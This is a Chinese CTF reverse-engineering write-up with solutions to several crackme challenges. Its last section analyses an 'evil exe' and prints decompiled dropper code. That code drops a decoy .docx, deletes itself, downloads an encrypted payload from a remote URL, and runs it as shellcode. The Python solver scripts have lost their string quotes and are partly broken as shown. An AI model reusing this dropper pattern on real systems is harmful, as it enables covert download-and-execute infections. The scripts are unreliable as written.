pctf classical crackme

用 DIE 打開,知道是一個 .net 程序,並且用了 ConfuserEx 混淆。先不管殼,直接用 dnspy 打開,在7HklOs,)gQz9)gjHE[Er:bIX$()看到了"UENURntFYTV5X0RvX05ldF9DcjRjazNyfQ==";和前面的Convert.ToBase64String(bytes);。所以直接解密就得到 flag

pctf classical crackme2

截圖的時候怎麼把歌詞給截進去了...

從前一題得到經驗,這個混淆只是混淆了程序中的類和變數之類的名字,對於程序的流程基本沒有混淆。

我們先看到了Application.Run(new Wm@@9OrPgwu0020d/p?i,N>l*h@Y!());,跟進Wm@@9OrPgwu0020d/p?i,N>l*h@Y!看看

看到圖上的MessageBox.Show()可以知道這個是我們在輸入 flag 並點擊確定後彈出的消息窗口,所以確定本函數就是分析重點。可以看到這個函數獲取了用戶輸入,然後將用戶輸入傳給加密函數進行處理,並將處理結果存入text2,最後將text2和加密數據進行比較。

在加密函數中將用戶輸入轉換成了byte類型,並重新命名為bytes2。還有就是從某函數獲得輸出,並將其轉換成byte類型並命名為bytes,我們可以通過動態調試獲得bytes的內容,轉到內存窗口中查看bytes的內容:pctf2016pctf2016pctf2016pctf2016

然後就是非常直白的用bytes作為密鑰,對bytes進行 AES ECB 加密,最後進行 base64 編碼。

由於我們懶得逆向加密數據的生成過程,所以使用動態調試獲得加密數據 "x/nzolo0TTIyrEISd4AP1spCzlhSWJXeNbY81SjPgmk="。

最後用 python 寫個腳本解密就可以得到 flag

from base64 import b64decode
from Crypto.Cipher import AES

key = bpctf2016pctf2016pctf2016pctf2016
cipher = x/nzolo0TTIyrEISd4AP1spCzlhSWJXeNbY81SjPgmk=
ciphDec = b64decode(cipher)
aes = AES.new(key, AES.MODE_ECB)
print(aes.decrypt(ciphDec))

pctf findkey

本程序是由 python 編譯而來,所以藉助 uncompyle6 可以還原出程序。這裡進行了簡單處理讓本程序和 python3 兼容。

# uncompyle6.exe -o . .findkey.pyo
# uncompyle6 version 3.2.5
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 17:00:18) [MSC v.1900 64 bit (AMD64)]
# Embedded file name: findkey
# Compiled at: 2016-04-30 17:54:18
import sys
lookup = [196, 153, 149, 206, 17, 221, 10, 217, 167, 18,
36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173,
41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85,
48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169,
150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252,
227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94,
202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84,
121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104,
253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248,
96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247,
8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186,
0, 102,
216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117,
223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113,
79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188,
19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168,
154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210,
218, 47, 163, 215, 209, 108, 235, 237, 118, 101,
24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176,
225, 198, 197, 194, 239, 134, 162, 192, 11, 70,
58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207,
7, 53, 219, 203, 62, 114, 127, 125, 164, 179,
175, 112, 172, 250, 133, 130, 52, 189, 97, 146,
34, 157, 120, 195, 45, 4, 142, 139]
pwda = [188, 155, 11, 58, 251, 208, 204, 202,
150, 120, 206, 237, 114, 92, 126, 6, 42]
pwdb = [53, 222, 230, 35, 67, 248, 226, 216,
17, 209, 32, 2, 181, 200, 171, 60, 108]
flag = input(Input your Key:).strip()
if len(flag) != 17:
print(Wrong Key!!)
sys.exit(1)
flag = flag[::-1]
for i in range(0, len(flag)):
if ord(flag[i]) + pwda[i] & 255 != lookup[i + pwdb[i]]:
print(Wrong Key!!)
sys.exit(1)

print(Congratulations!!)

基本邏輯是獲得用戶輸入,然後進行反轉,再然後根據幾個表進行查詢,將查詢結果和用戶輸入進行比對。

lookup = [196, 153, 149, 206, 17, 221, 10, 217, 167, 18,
36, 135, 103, 61, 111, 31, 92, 152, 21, 228, 105, 191, 173,
41, 2, 245, 23, 144, 1, 246, 89, 178, 182, 119, 38, 85,
48, 226, 165, 241, 166, 214, 71, 90, 151, 3, 109, 169,
150, 224, 69, 156, 158, 57, 181, 29, 200, 37, 51, 252,
227, 93, 65, 82, 66, 80, 170, 77, 49, 177, 81, 94,
202, 107, 25, 73, 148, 98, 129, 231, 212, 14, 84,
121, 174, 171, 64, 180, 233, 74, 140, 242, 75, 104,
253, 44, 39, 87, 86, 27, 68, 22, 55, 76, 35, 248,
96, 5, 56, 20, 161, 213, 238, 220, 72, 100, 247,
8, 63, 249, 145, 243, 155, 222, 122, 32, 43, 186,
0, 102,
216, 126, 15, 42, 115, 138, 240, 147, 229, 204, 117,
223, 141, 159, 131, 232, 124, 254, 60, 116, 46, 113,
79, 16, 128, 6, 251, 40, 205, 137, 199, 83, 54, 188,
19, 184, 201, 110, 255, 26, 91, 211, 132, 160, 168,
154, 185, 183, 244, 78, 33, 123, 28, 59, 12, 210,
218, 47, 163, 215, 209, 108, 235, 237, 118, 101,
24, 234, 106, 143, 88, 9, 136, 95, 30, 193, 176,
225, 198, 197, 194, 239, 134, 162, 192, 11, 70,
58, 187, 50, 67, 236, 230, 13, 99, 190, 208, 207,
7, 53, 219, 203, 62, 114, 127, 125, 164, 179,
175, 112, 172, 250, 133, 130, 52, 189, 97, 146,
34, 157, 120, 195, 45, 4, 142, 139]
pwda = [188, 155, 11, 58, 251, 208, 204, 202,
150, 120, 206, 237, 114, 92, 126, 6, 42]
pwdb = [53, 222, 230, 35, 67, 248, 226, 216,
17, 209, 32, 2, 181, 200, 171, 60, 108]
flag =

for i in range(17):
num = lookup[i + pwdb[i]] - pwda[i] & 255
flag += chr(num)
flag = flag[::-1]
print(flag)

ddctf 2016 hello

這是一個 mac 下的程序。先塞進 IDA,可以看到 text 段有4個函數,但是在start中只調用了1個函數...根據彙編我們可以初步判斷0x100000C90是來賣萌的,而0x100000DE0是用於反調試的,而0x100000CE0才是重頭戲。

藉助 F5,我們可以得到程序的基本邏輯。程序先根據兩個函數之間的距離和byte[0]異或得到j,然後就是一波解密

int sub_100000CE0()
{
int result; // eax
signed int i; // [rsp+1Ch] [rbp-14h]
int j; // [rsp+24h] [rbp-Ch]

j = ((unsigned __int64)((char *)start - (char *)sub_100000C90) >> 2) ^ byte_100001040[0];
result = sub_100000DE0();
if ( !(result & 1) )
{
i = 0;
while ( i < 55 )
{
byte_100001040[i] -= 2;
byte_100001040[i] ^= j;
++i;
++j;
}
result = printf("
Final output is %s
", &byte_100001040[1]);
}
return result;
}

程序邏輯清晰,所以用 python 很容易實現

byteList = [0x41, 0x10, 0x11, 0x11, 0x1B, 0x0A, 0x64, 0x67, 0x6A, 0x68,
0x62, 0x68, 0x6E, 0x67, 0x68, 0x6B, 0x62, 0x3D, 0x65, 0x6A,
0x6A, 0x3D, 0x68, 0x04, 0x05, 0x08, 0x03, 0x02, 0x02, 0x55,
0x08, 0x5D, 0x61, 0x55, 0x0A, 0x5F, 0x0D, 0x5D, 0x61, 0x32,
0x17, 0x1D, 0x19, 0x1F, 0x18, 0x20, 0x04, 0x02, 0x12, 0x16,
0x1E, 0x54, 0x20, 0x13, 0x14, 0x00, 0x00]

startAddr = 0x100000CB0
dummyFuncAddr = 0x100000C90
j = (startAddr - dummyFuncAddr >> 2) ^ byteList[0]
i = 0
while i < 55:
byteList[i] -= 2
byteList[i] ^= j
i += 1
j += 1
for i in range(1, len(byteList)):
print(chr(byteList[i]), end=)

ddctf evil exe

這道題火絨竟然沒報毒?@ 火絨安全 出來挨打

先塞進 DIE 里看看,確認是 UPX 殼,但是upx -d脫不掉,所以上 x32dbg 手動脫殼。

在 EP 附近的pushad前的pop esi執行前的 ESP 所指地址下硬體訪問斷點,

然後瘋狂 F9 看到 EIP 到達.bss段而不是在負責解密數據的.text段時,就到達 OEP 了,

接下來就是 scylla dump 程序了。

把 dump 出的程序塞入 IDA,在WinMain()函數找到程序基本邏輯。程序先在rlsRes()釋放資源,然後在臨時文件夾創建程序備份,並打開".docx"文件,創建新進程啟動自己;在delMyself()中發現自己是之前創建的進程的話就刪除源程序,最後通過getPics()從網上獲取加密圖片,再通過decrypt()函數進行解密得到 shellcode 然後在xor()中對 shellcode 進行異或並執行

int __stdcall WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd)
{
char *buffer; // ST10_4
int key[67]; // [esp+4h] [ebp-118h]
size_t dwSize; // [esp+114h] [ebp-8h]
char *picData; // [esp+118h] [ebp-4h]

if ( rlsRes(hInstance) == 6 )
return 0;
delMyself();
picData = (char *)getPics(&dwSize);
if ( picData )
{
if ( dwSize )
{
buffer = (char *)malloc(dwSize);
geneKey(key, 0x4A8754F5745174ui64);
decrypt((char *)key, picData, buffer, dwSize);
xor(buffer, dwSize);
}
free(picData);
}
return 0;
}

rlsRes()函數中,先複製程序備份到臨時文件夾,然後從程序中提取資源,釋放到".docx"中,最後啟動在臨時文件夾中的自己,並將當前程序的路徑作為參數傳遞。

int __cdecl rlsRes(HMODULE hModule)
{
DWORD NumberOfBytesWritten; // [esp+0h] [ebp-7BCh]
CHAR CommandLine; // [esp+4h] [ebp-7B8h]
struct _STARTUPINFOA StartupInfo; // [esp+21Ch] [ebp-5A0h]
char progExtName; // [esp+264h] [ebp-558h]
LPCVOID lpBuffer; // [esp+370h] [ebp-44Ch]
char progBaseName; // [esp+374h] [ebp-448h]
CHAR tempDir; // [esp+47Ch] [ebp-340h]
HANDLE hFile; // [esp+588h] [ebp-234h]
struct _PROCESS_INFORMATION ProcessInformation; // [esp+58Ch] [ebp-230h]
DWORD v11; // [esp+59Ch] [ebp-220h]
DWORD nNumberOfBytesToWrite; // [esp+5A0h] [ebp-21Ch]
CHAR fileFullname; // [esp+5A4h] [ebp-218h]
CHAR fileDir; // [esp+6ACh] [ebp-110h]

lpBuffer = 0;
nNumberOfBytesToWrite = 0;
v11 = GetModuleFileNameA(hModule, &fileFullname, 0x105u);// 獲取程序完整路徑
if ( v11 > 0x105 )
return 1;
v11 = GetTempPathA(0x105u, &tempDir); // 獲取臨時目錄
if ( v11 > 0x105 )
return 2;
_splitpath(&fileFullname, 0, &fileDir, &progBaseName, &progExtName);// 獲取程序路徑,程序的基本文件名,程序的文件擴展名
if ( strstr(&fileFullname, "\Temp\") )
return 3;
strcat_s(&tempDir, 0x105u, &progBaseName);
if ( progExtName != . )
strcat_s(&tempDir, 0x105u, ".");
strcat_s(&tempDir, 0x105u, &progExtName); // 拼接出程序在臨時目錄下的名字
CopyFileA(&fileFullname, &tempDir, 0); // 拷貝文件到臨時文件夾
strcat_s(&fileDir, 0x105u, &progBaseName);
strcat_s(&fileDir, 0x105u, ".docx"); // 給程序基本文件名拼接上".docx"
if ( !getRscs(0x65u, (int)&lpBuffer, &nNumberOfBytesToWrite) )// 釋放資源
return 4;
hFile = CreateFileA(&fileDir, 0x40000000u, 1u, 0, 2u, 0x80u, 0);
if ( hFile == (HANDLE)-1 )
return 5;
WriteFile(hFile, lpBuffer, nNumberOfBytesToWrite, &NumberOfBytesWritten, 0);// 寫入.docx文件
CloseHandle(hFile);
sprintf_s(&CommandLine, 0x218u, "%s "%s"", &tempDir, &fileFullname);// 拼接執行自己的命令
memset(&StartupInfo, 0, 0x44u);
memset(&ProcessInformation, 0, 0x10u);
StartupInfo.cb = 68;
CreateProcessA(0, &CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation);// 我啟動我自己
ShellExecuteA(0, "open", &fileDir, 0, 0, 1); // 打開.docx
return 6;
}

delMyself()中,檢測參數數量,如果參數數量為2,則刪除參數1指向的文件。和之前的rlsRes()結合可以知道這是在刪除原本的程序文件。

void delMyself()
{
const WCHAR *v0; // eax
BOOL v1; // ST08_4
int pNumArgs; // [esp+4h] [ebp-8h]
LPWSTR *v3; // [esp+8h] [ebp-4h]

v0 = GetCommandLineW();
v3 = CommandLineToArgvW(v0, &pNumArgs);
if ( v3 && pNumArgs == 2 )
{
do
{
v1 = DeleteFileW(v3[1]);
Sleep(0x200u);
}
while ( !v1 );
}
}

getPics()函數則是從網路中獲得加密文件

void *__cdecl getPics(unsigned int *a1)
{
unsigned int v2; // [esp+0h] [ebp-18h]
DWORD dwNumberOfBytesRead; // [esp+4h] [ebp-14h]
BOOL v4; // [esp+8h] [ebp-10h]
void *v5; // [esp+Ch] [ebp-Ch]
HINTERNET hFile; // [esp+10h] [ebp-8h]
HINTERNET hInternet; // [esp+14h] [ebp-4h]

dwNumberOfBytesRead = 0;
v2 = 0;
hInternet = InternetOpenA("DDCTF", 0, 0, 0, 0);
hFile = InternetOpenUrlA(hInternet, "http://www.ddctf.com/x.jpg", 0, 0, 0x4000000u, 0);
if ( !hFile )
return 0;
v5 = malloc(0x100000u);
do
{
v4 = InternetReadFile(hFile, (char *)v5 + v2, 0x100000 - v2, &dwNumberOfBytesRead);
if ( !v4 )
break;
v2 += dwNumberOfBytesRead;
if ( !dwNumberOfBytesRead )
break;
}
while ( v2 < 0x100000 );
InternetCloseHandle(hFile);
if ( v2 <= 0x100000 )
{
*a1 = v2;
}
else
{
free(v5);
v5 = 0;
}
return v5;
}

geneKey()函數則是根據 v 來生成密鑰

這個 v2 是來賣萌的嗎

int __cdecl geneKey(_DWORD *key, unsigned __int64 v)
{
unsigned __int64 v2; // rax
char v4[8]; // [esp+0h] [ebp-10h]
int i; // [esp+Ch] [ebp-4h]

LODWORD(v2) = key;
*key = 0;
key[1] = 0;
for ( i = 0; i < 8; ++i )
{
v4[i] = v;
v2 = v >> 8;
v >>= 8;
}
for ( i = 0; i < 256; ++i )
{
*((_BYTE *)key + i + 8) = i + v4[i % 8];
LODWORD(v2) = i + 1;
}
return v2;
}

decrypt()函數則是在根據密鑰進行解密文件,將 a2 數據進行解密放入 a3 中,得到解密數據,即 shellcode

void __cdecl decrypt(char *key, char *a2, char *a3, unsigned int dwSize)
{
unsigned __int8 v4; // ST02_1
unsigned __int8 v5; // ST03_1
unsigned int i; // [esp+4h] [ebp-4h]

for ( i = 0; i < dwSize; ++i )
{
*(_DWORD *)key = (*(_DWORD *)key + 1) % 256;
*((_DWORD *)key + 1) = ((unsigned __int8)key[*(_DWORD *)key + 8] + *((_DWORD *)key + 1)) % 256;
v4 = key[*(_DWORD *)key + 8];
v5 = key[*((_DWORD *)key + 1) + 8];
key[*(_DWORD *)key + 8] = v5;
key[*((_DWORD *)key + 1) + 8] = v4;
a3[i] = key[(v5 + v4) % 256 + 8] ^ a2[i];
}
}

最後就是再次對 shellcode 進行一遍 xor,然後執行 shellcode

_DWORD *__cdecl xor(void *a1, SIZE_T dwSize)
{
_DWORD *result; // eax
_DWORD *lpAddress; // [esp+0h] [ebp-8h]
SIZE_T i; // [esp+4h] [ebp-4h]

result = VirtualAlloc(0, dwSize, 0x1000u, 0x40u);
lpAddress = result;
if ( result )
{
memcpy(result, a1, dwSize);
for ( i = 0; i < dwSize; ++i )
*((_BYTE *)lpAddress + i) ^= i;
if ( _time32(0) - *lpAddress >= 0 && _time32(0) - *lpAddress <= 1800 )
result = (_DWORD *)((int (*)(void))(lpAddress + 1))();
else
result = (_DWORD *)VirtualFree(lpAddress, dwSize, 0x4000u);
}
return result;
}

梳理好程序流程後我們知道該怎麼還原了。這裡對於加密不是很懂,借鑒了其他大佬的腳本。

import re

def geneKey(key: list, v: int):
v4 = [0 for i in range(8)]
for i in range(8):
v4[i] = v
v = v >> 8

for i in range(256):
key[i] = (i + v4[i % 8]) % 256

def decrypt(key: list, data):
decData = b
j = 0
for count in range(len(data)):
i = (count+1) % 256
j = (key[i] + j) % 256
key[i], key[j] = key[j], key[i]
dec1 = data[count] ^ key[(key[i] + key[j]) % 256]
dec2 = (dec1 ^ count) % 256
decData += bytes(dec2.to_bytes(1, little))
return decData

if __name__ == "__main__":
file = open(F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x.jpg, rb)
fileData = file.read()
file.close()
v = 0x4A8754F5745174
key = [0 for i in range(256)]
geneKey(key, v)
decData = decrypt(key, fileData)
file = open(
F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x_dec.jpg, wb)
file.write(out)
file.close()

在導出 shellcode 中發現了明文字元串,而每一個明文字元串前都有一個 0x68,hxd 貼心的告訴我們這是在將字元串 push 入棧。

所以我們只要將 0x68 和之後對應字元串用正則篩出來就可以了。對上面 python 腳本的 main 函數進行魔改就可以得到 flag

if __name__ == "__main__":
file = open(F:\ctfQuestion\jarvisoj\reverse\dd-evil_exe\x.jpg, rb)
fileData = file.read()
file.close()
v = 0x4A8754F5745174
key = [0 for i in range(256)]
geneKey(key, v)
decData = decrypt(key, fileData)
match = re.findall(bx68[Ss]{4}, decData)
match = match[::-1]
for i in match:
try:
print(i.decode(ascii)[1:], end=)
except UnicodeDecodeError as e:
print(
holy shit)

refs

blog.csdn.net/whklhhhh/ blog.csdn.net/qq1045553


推薦閱讀:
相关文章